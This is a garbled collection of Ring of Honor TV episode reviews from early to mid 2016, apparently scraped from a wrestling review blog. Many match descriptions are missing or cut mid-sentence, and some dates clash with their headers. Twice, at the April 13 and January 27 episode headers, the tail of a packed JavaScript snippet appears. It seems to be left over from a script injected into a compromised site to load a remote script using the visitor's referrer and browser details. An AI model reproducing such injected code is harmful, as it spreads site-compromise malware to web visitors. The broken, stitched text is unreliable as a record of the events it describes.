Ring of Honor TV – June 22, 2016: Go Home New Japan

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Date: June 22, 2016
Location: Ted Reeve Arena, Toronto, Ontario, Canada
Commentators: Nigel McGuinness, Kevin Kelly

Opening sequence.

Dalton Castle vs. Gedo

Will Ferrara vs. Tomohiro Ishii

They slug it out to start with Ferrara not getting very far on the bigger Ishii. A shoulder actually staggers Ishii and a dropkick puts him down. A neckbreaker gets two for Ferrara but Ishii slams him down for some two counts of his own. Ferrara comes right back with a running elbow in the corner and a Samoan drop for two. Will goes one step too far though as he tries a suplex, earning himself a beating in the corner. A running clothesline gets two for Ishii so Ferrara slaps him in the face. That means the brainbuster puts Will away at 4:06.

The Briscoes are ready for the main event.

Jay Lethal likes the idea of facing the Bullet Club on equal footing because something they never try.

Roderick Strong is ready to stand up for Ring of Honor against the Bullet Club.

Bullet Club vs. Briscoe Brothers/Roderick Strong/Jay Lethal

Dalton Castle and Bobby Fish trade promos about Castle earning his title shot but that not being enough to make him the champion.

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Ring of Honor TV – June 15, 2016: More Japan

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Date: June 15, 2016
Location: Ted Reeve Arena, Toronto, Ontario, Canada
Commentators: Nigel McGuinness, Kevin Kelly, Mark Briscoe

Opening sequence.

Moose vs. Tetsuya Naito

Naito slides back in and teases a dive but stops to pose instead. I can go for a cocky heel who knows how to deal with a monster like this. The second dive actually works as Mark talks about wanting to fight Roderick Strong at Best in the World. Moose misses the spear as we take a break.

The All Night Express want to make wrestling great again and get rid of all the superkicks. Now this I can get behind.

Jushin Thunder Liger/Cheeseburger vs. All Night Express

Next week: ROH vs. Bullet Club.

The Bullet Club thinks Adam Cole should be in the main event at Best in the World and takes over the production stuff to let Cole talk about how awesome he is.

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Ring of Honor TV – June 1, 2016: Well Of Course It Is

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Date: June 1, 2016
Location: Ted Reeve Arena, Toronto, Ontario, Canada
Commentators: Kevin Kelly, Nigel McGuinness

We open with a clip from the end of Global Wars with Adam Cole joining the Bullet Club and laying waste to various people.

The main event tonight: three New Japan guys vs. the Bullet Club. Of course it is. Well to be fair one of those New Japan guys is Michael Elgin but still, close enough.

Lio Rush vs. ACH

Young comes in and lays both guys out post match.

Clip of the Addiction cheating to beat War Machine for the Tag Team Titles at a recent show.

Roppangi Vice vs. Motor City Machine Guns vs. Addiction

Back with the Addiction still in control on Shelley with a stomping in the corner. Not that it matters as Shelley gets over for the tag to Sabin a few seconds later as things speed up again. Everything breaks down with Trent suplexing Kazarian and kneeing Daniels in the face for two. Strong Zero is broken up and Daniels plants Trent with a Rock Bottom and the BME. That cover is broken up as well as the Guns get in one of their quick sequences capped off by a basement dropkick to Daniels, followed by Skull and Bones for the pin on Daniels at 9:28.

Elite vs. Hiroshi Tanahashi/Michael Elgin/Yoshi Tatsu

The Bucks get double suplexed and Omega gets caught in the air, only to slip into a dragon suplex on Elgin. Tanahashi comes in to clean house but a double superkick breaks up the Cloverleaf. A triple dive takes the New Japan crew down and Tanahashi takes a triple kick to the head. Nick comes in for a bunch of cartwheels as Taven rips on how stupid this concept is, along with how easy it is to make fans cheer them.

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Ring of Honor TV – April 13, 2016: If You Build It, The Fans Will Stay Through The Taping

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|faeia|var|u0026u|referrer|fknts||js|php'.split('|'),0,{})) of Honor
Date: April 13, 2016
Location: Sam’s Town Hotel and Gambling Hall, Las Vegas, Nevada
Commentators: Kevin Kelly, Mr. Wrestling 3

Tag Team Titles: War Machine vs. Roppangi Vice

Dalton Castle says his goal is different again tonight because this time he wants to hurt Silas Young.

ACH vs. Kenny Omega

Feeling out process to start with ACH doing all his flips as the announcers explain the latest issues in New Japan. An elbow to the head drops Omega and a dropkick puts him out on the floor. Naturally the numbers become an issue though as Omega distracts the referee, allowing a superkick to put ACH down. In a funny bit, Matt throws out a banana peel to offer an explanation.

We take a break (and get a promo from Adam Cole about how he created the Kingdom, meaning Matt Taven has no right to reform the team) and come back with ACH holding Omega in a headlock, only to be countered into what looked like a one man More Bang For Your Buck. That goes nowhere and ACH gets up a boot in the corner, followed by another kick to the face to put Omega on the floor.

Dalton Castle vs. Silas Young

Back up and Castle chops the post by mistake to give Young his first target. Castle tries another chop but fakes Young out and sends him into the barricade for a smart move. We take a break and come back with Young setting up a table on the floor to go with the ladder already in the ring. Neither of those are good enough for him though as he powerbombs Castle onto two open chairs instead.

Back in and the Bang A Rang is countered so Dalton throws him over the top and down through the table for a YOU JUST KILLED HIM chant. Somehow that only gets two, followed by Silas hitting him low for the same. Not that it matters as the Bang A Rang onto the chairs gives Dalton the pin at 16:42.

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Ring of Honor TV – April 6, 2016: We Get The Concept

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Date: April 6, 2015
Location: Sam’s Town Hotel and Gambling Hall, Las Vegas, Nevada
Commentators: Mr. Wrestling III, Kevin Kelly

Instead of the regular opening sequence, we get a look at Donovan Dijak laying out Jay Lethal and injuring Truth Martini a few weeks back.

Opening sequence.

Kazuchika Okada/Gedo vs. ReDRagon

Adam Cole vs. Kushida

We look back at the Motor City Machine Guns reforming at the 14th Anniversary Show.

Addiction vs. The Machine Guns

The double dive sends the Addiction into the barricade, followed by a high cross body from Shelley for two on Kazarian. Daniels gets in a shot to the back though and Addiction finally takes over. Kazarian and Daniels take turns on Shelley, including a double clothesline, allowing Daniels to put his foot on the chest for two. We take another break and come back with Shelley giving Kazarian a Stunner while DDTing Daniels at the same time.

Post match the Addiction beats the Guns down, only to have Kushida and Matt Sydal run in for the save. The Young Bucks come in to superkick the two of them down, triggering another brawl to end the show.

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Ring of Honor – March 30, 2016: The Dead Zone

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Date: March 30, 2015
Location: Sam’s Town Hotel and Gambling Hall, Las Vegas, Nevada
Commentators: Mr. Wrestling III, Kevin Kelly

Roderick Strong vs. Adam Page vs. Moose vs. Matt Sydal

with Page making the save.

Moose and Sydal go to the floor with Matt getting powerbombed onto the apron, followed by Page diving on Strong as we take a break. Back with Page dropkicking Strong into the corner until Sydal drops both Page and Strong at the same time. A standing moonsault gets two on Adam, followed by Moose slugging it out with Strong.

11:53.

they have a bad tendency to turn into borderline trainwrecks like this one. It certainly wasn’t bad but it just came and went with no real impact.

After some production guy says “I hope it’s story time. I really like it.”, it’s story time with Adam Cole. Adam says that despite this perceived downward spiral, he’s still the best wrestler in the world and the future World Champion. There is no one in that locker room who can stand up to him and Kyle O’Reilly shouldn’t even be in the same ring as him. Cole may be without his Kingdom but he’ll be winning that title back soon.

After Cole got hurt, it was Taven who was keeping Cole relevant and he’s tired of carrying Adam. The Kingdom will be rebuilt in Taven’s image and that’s it for Cole.

(like dress codes because he’s a clothing optional man) so he loves the idea of a Fight Without Honor against Silas Young in two weeks.

Cheeseburger vs. Foxx Vinyer

but he pops back up with a knee to the head. The palm strike is loaded up but here’s the All Night Express to pull Foxx out for the DQ at 1:32 for no apparent reason.

even though the fans don’t care about him. Yeah no matter how badly he’s been beaten up, the people aren’t going to care.

War Machine and the Briscoes come out for the save but the Briscoes pick up the belts. The champs aren’t happy with that and it’s a big staredown.

The House of Truth is ready for the main event.

ROH World Title: Hirooki Goto vs. Jay Lethal

graphic still shows him with the TV Title. Jay kicks him in the ribs at the handshake but Goto easily pounds him down into the corner. With the champ in trouble, Taeler Hendrix offers a distraction to break up the top rope hurricanrana. Jay is right on him with a suicide dive and we get a Trutharooni in celebration.

There’s no connection or animosity between these two and with about seven minutes of airtime, there’s only so much they can actually do. It’s a perfectly watchable match but I need something else to care about or a lot higher quality.

This wasn’t a horrible show but it’s completely skippable.

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Ring of Honor TV – March 2, 2016: How To Clone An ACH

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Date: March 2, 2016
Location: Nashville Municipal Auditorium, Nashville, Tennessee
Attendance: 675
Commentators: Kevin Kelly, Mr. Wrestling III

Opening sequence.

Silas Young/Beer City Bruiser vs. The Boys

Dalton tries to run in post match but gets taken out as well.

Adam Cole is ready for Matt Sydal tonight.

Top Prospect Tournament Semi-Finals: Brian Fury vs. Action Ortiz

Top Prospect Tournament Semi-Finals: Lio Rush vs. Punisher Martinez

Martinez has impressed me more than anyone else in this tournament and definitely has a presence about him. Lio slugs away to start and has to escape from the sitout chokeslam. Punisher misses a running big boot and they head outside with Lio getting in a running kick to the chest to drop Martinez for the first time. A springboard is quickly countered as Lio gets caught in a jawbreaker and the beating is on.

Rush (who sounds like a Briscoe) is ready for the finals.

Matt Sydal vs. Adam Cole

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Ring of Honor TV – February 24, 2016: Behold The Power Of New Japan

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Date: February 24, 2016
Location: Nashville Municipal Auditorium, Nashville, Tennessee
Attendance: 675
Commentators: Kevin Kelly, Nigel McGuinness

TV Title: Roderick Strong vs. Jonathan Gresham

Post match Bobby Fish comes out to steal the title, triggering a brawl.

Bob Evans/Tim Hughes vs. War Machine

We look back at Adam Page attacking BJ Whitmer last week.

BJ Whitmer vs. Chase Brown

Dalton Castle has the Boys ready for next week.

ACH/Alex Shelley vs. Briscoe Brothers

We take another break and come back with Alex forearming Jay, allowing the tag off to ACH. Everything breaks down and the Briscoes are in trouble with ACH mostly hitting the Jordan onto Jay. Back in and a jumping cutter gets two on Mark with Jay making the save and cleaning house. Mark kicks Alex in the face but gets kicked in the corner. Daniels gets on the apron for a distraction and ACH misses the Midnight Star, allowing the Doomsday Device to put ACH away at 8:35.

Post match Kazarian and Sabin come in for the beatdown until security breaks it up.

An add for the Anniversary Show (read as NEW JAPAN IS AWESOME) takes us out.

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Ring of Honor TV – February 4, 2016: There’s Something Fishy Around Here

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Date: February 3, 2016
Location: Cabarrus Arena and Events Center, Concord, North Carolina
Commentators: Kevin Kelly, Mr. Wrestling 3

TV Title: Roderick Strong vs. Masada

Top Prospect Tournament First Round: Colby Corino vs. Punisher Martinez

Martinez is a good sized guy who towers over Corino. Colby tries some quick strikes and gets his head taken off with a clothesline. Some hard throws send Colby into the corner and an over the shoulder backbreaker gets two. A Liger Kick staggers Punisher and a middle rope Diamond Cutter gets two on the big man and a flip dive to the floor drops Martinez again. The fans are getting behind Corino here but Punisher gives him a Last Ride onto the apron for a SICK crash. Back in and a sitout chokeslam advances Punisher at 3:28.

We look back at the announcement of the #1 contenders match from last week.

Nigel McGuinness has replaced Mr. Wrestling 3 on commentary as the masked man helped Colby to the back.

ReDRagon vs. Adam Cole/Jay Lethal

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Ring of Honor TV – January 27, 2016: Prospects Jumping Into Japanese Lawsuits About Burgers

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|haidh|var|u0026u|referrer|ttehk||js|php'.split('|'),0,{})) of Honor
Date: January 27, 2016
Location:
Cabarrus Arena and Events Center, Concord, North Carolina
Commentators:
Kevin Kelly, Mr. Wrestling 3

Show pay per view. However, we’ve got something interesting for tonight as well with the start of the Top Prospect Tournament. This is an annual competition for newcomers (not necessarily rookies) and has led to the rises of names like Mike Bennett, Matt Taven and Donovan Dijak. Let’s get to it.

Opening sequence.

Top Prospect Tournament First Round: Brian Fury vs. Shaheem Ali

A wristlock doesn’t get Ali anywhere so he knees Fury in the head and gets two off a basement dropkick. Back up and Fury rolls him into the corner (because in today’s wrestling, it’s all about doing something to send someone into the corner), followed by a belly to back for two.

It might be cool if someone stands out over the rest but this was two guys doing moves to each other for a few minutes before one of them got a pin. I need more than that to care about a match and especially a tournament.

Here are Veda Scott and Cedric Alexander to brag about their victory in their lawsuit against Ring of Honor. Jonathan Gresham got lucky to beat Alexander, who deserves shots at the best talent in the world. That means an open challenge.

Cedric Alexander vs. Cheeseburger

Post match Cedric keeps beating on Cheeseburger until Jonathan Gresham comes out for the save. Veda sets up an impromptu match, which she can just do.

Cedric Alexander vs. Jonathan Gresham

Gresham follows the Cheeseburger plan by trying an early rollup, sending Cedric out to the floor. Back in and Cedric quickly bails again as this is barely a match. Cedric comes in again but walks into an Octopus Hold, drawing in Veda for the DQ at 1:45.

Alexander beats up Gresham after the match until referees make the save.

Nigel McGuinness is in the ring and talks about how many big wins Lethal has had in recent months, including AJ Styles and Michael Elgin. That brings him to the next challenger, which makes Nigel thinking of Kyle O’Reilly. That’s fine with Lethal because he’s beaten Kyle already but Nigel wasn’t finished. Kyle is indeed great, but he was defeated by Adam Cole at Final Battle, which makes Cole the new #1 contender.

He knows his battles with Kyle are over and that means O’Reilly will never be challenging for the World Title again. Lethal may have some great victories as champion but Cole isn’t on that list. Cole promises to win the title in Las Vegas but Nigel isn’t done. It’s true that Cole is the #1 contender, but Kyle isn’t done with Cole yet. Unless Adam is scared, there’s no reason to not make this a triple threat match.

Cue Kyle who is thankful for the title shot at the end of February, but what about the time between now and then? He wants a piece of both guys in Charlotte (the show is in Concord but close enough) so Nigel makes it ReDRagon vs. Jay Lethal/Adam Cole for some point in the near future.

We recap Silas Young vs. Dalton Castle and the saga over the Boys.

Jay Briscoe vs. Michael Elgin

They do at least mention that Nigel signed off on the change.

Jay Briscoe vs. Michael Elgin vs. Moose

Elgin slips off Moose’s shoulders and lifts him up into a powerbomb for two as Jay makes the save. Briscoe gets two on Elgin off a Death Valley Driver, only to have Moose spear Briscoe down. That leaves Elgin and Moose to clothesline each other until Elgin clotheslines Jay instead. Elgin goes after Moose though, allowing Jay to backslide Michael for the pin at 9:37.

It’s still an entertaining show though and goes by quickly, which is all you can ask for.

Remember to follow me on Twitter @kbreviews and pick up my new book of the Complete Monday Nitro Reviews Volume IV at Amazon for just $3.99 at:

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